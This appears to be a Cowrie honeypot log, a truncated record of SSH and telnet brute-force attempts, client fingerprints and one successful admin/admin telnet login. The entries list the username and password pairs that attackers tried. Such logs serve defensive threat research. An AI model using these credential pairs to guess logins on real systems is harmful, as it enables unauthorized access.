{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:35.435475Z","src_ip":"107.150.105.153","session":"9ab96b2b8ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:35.505196Z","src_ip":"107.150.105.153","session":"9ab96b2b8ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cc1234","message":"login attempt [root/cc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:35.799314Z","src_ip":"107.150.105.153","session":"9ab96b2b8ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:36.875178Z","src_ip":"107.150.105.153","session":"9ab96b2b8ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.6207959651947,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:01:49.822325Z","src_ip":"107.6.151.170","session":"d7fdab2a35ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.245.52.130","src_port":33030,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d46e2fb37ca","protocol":"telnet","message":"New connection: 196.245.52.130:33030 (10.17.0.5:23) [session: 4d46e2fb37ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:14.844923Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:18.078110Z","src_ip":"196.245.52.130","session":"4d46e2fb37ca","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:19.249124Z","src_ip":"196.245.52.130","session":"4d46e2fb37ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":34442,"dst_ip":"159.203.135.109","dst_port":23,"session":"16afb65b4a0d","protocol":"telnet","message":"New connection: 137.184.5.188:34442 (159.203.135.109:23) [session: 16afb65b4a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:40.788692Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":34772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f884c1f41c09","protocol":"ssh","message":"New connection: 61.72.55.130:34772 (10.17.0.5:22) [session: f884c1f41c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:48.969190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:48.972956Z","src_ip":"61.72.55.130","session":"f884c1f41c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:49.176894Z","src_ip":"61.72.55.130","session":"f884c1f41c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wt123456","message":"login attempt [root/Wt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:50.029936Z","src_ip":"61.72.55.130","session":"f884c1f41c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:51.236109Z","src_ip":"61.72.55.130","session":"f884c1f41c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38966,"dst_ip":"159.203.135.109","dst_port":22,"session":"29eee141dd30","protocol":"ssh","message":"New connection: 103.27.238.120:38966 (159.203.135.109:22) [session: 29eee141dd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:51.382509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:51.388954Z","src_ip":"103.27.238.120","session":"29eee141dd30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:51.672916Z","src_ip":"103.27.238.120","session":"29eee141dd30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"301178","message":"login attempt [root/301178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:52.524524Z","src_ip":"103.27.238.120","session":"29eee141dd30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:02:53.810217Z","src_ip":"103.27.238.120","session":"29eee141dd30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":58160,"dst_ip":"159.203.135.109","dst_port":22,"session":"890b326fc353","protocol":"ssh","message":"New connection: 192.169.249.148:58160 (159.203.135.109:22) [session: 890b326fc353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:05.412671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:05.416351Z","src_ip":"192.169.249.148","session":"890b326fc353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:05.480909Z","src_ip":"192.169.249.148","session":"890b326fc353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake456","message":"login attempt [root/stake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:05.676043Z","src_ip":"192.169.249.148","session":"890b326fc353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:06.743866Z","src_ip":"192.169.249.148","session":"890b326fc353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":33804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccdb39ef79bb","protocol":"ssh","message":"New connection: 43.134.49.202:33804 (10.17.0.5:22) [session: ccdb39ef79bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:09.817332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:09.823773Z","src_ip":"43.134.49.202","session":"ccdb39ef79bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:10.067463Z","src_ip":"43.134.49.202","session":"ccdb39ef79bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"siteadmin","password":"123456","message":"login attempt [siteadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:11.075928Z","src_ip":"43.134.49.202","session":"ccdb39ef79bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:12.323103Z","src_ip":"43.134.49.202","session":"ccdb39ef79bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54268,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6c4e90c8cf","protocol":"telnet","message":"New connection: 107.6.151.170:54268 (159.203.135.109:23) [session: 6e6c4e90c8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:14.343513Z"}
{"eventid":"cowrie.session.closed","duration":0.004109621047973633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:14.347477Z","src_ip":"107.6.151.170","session":"6e6c4e90c8cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":54564,"dst_ip":"159.203.135.109","dst_port":22,"session":"c438e796a409","protocol":"ssh","message":"New connection: 198.1.93.192:54564 (159.203.135.109:22) [session: c438e796a409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:17.284567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:17.287827Z","src_ip":"198.1.93.192","session":"c438e796a409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:17.368964Z","src_ip":"198.1.93.192","session":"c438e796a409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"BNB!Tr0ng#W0rd","message":"login attempt [root/BNB!Tr0ng#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:17.619610Z","src_ip":"198.1.93.192","session":"c438e796a409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.75776529312134,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:18.546293Z","src_ip":"137.184.5.188","session":"16afb65b4a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:18.704746Z","src_ip":"198.1.93.192","session":"c438e796a409","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:20.885668Z","src_ip":"196.245.52.130","session":"4d46e2fb37ca","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:20.926105Z","src_ip":"196.245.52.130","session":"4d46e2fb37ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":36954,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7e39ccd71b","protocol":"ssh","message":"New connection: 185.242.3.195:36954 (159.203.135.109:22) [session: 0d7e39ccd71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:27.586197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:27.590897Z","src_ip":"185.242.3.195","session":"0d7e39ccd71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:27.680532Z","src_ip":"185.242.3.195","session":"0d7e39ccd71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rds","password":"rds","message":"login attempt [rds/rds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:27.950232Z","src_ip":"185.242.3.195","session":"0d7e39ccd71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:29.041989Z","src_ip":"185.242.3.195","session":"0d7e39ccd71b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58444,"dst_ip":"159.203.135.109","dst_port":23,"session":"2697d3ecb2a1","protocol":"telnet","message":"New connection: 107.6.151.170:58444 (159.203.135.109:23) [session: 2697d3ecb2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:33.389416Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":51412,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b3a75323d5","protocol":"ssh","message":"New connection: 107.150.105.153:51412 (159.203.135.109:22) [session: 51b3a75323d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:35.500857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:03:35.506479Z","src_ip":"107.150.105.153","session":"51b3a75323d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-e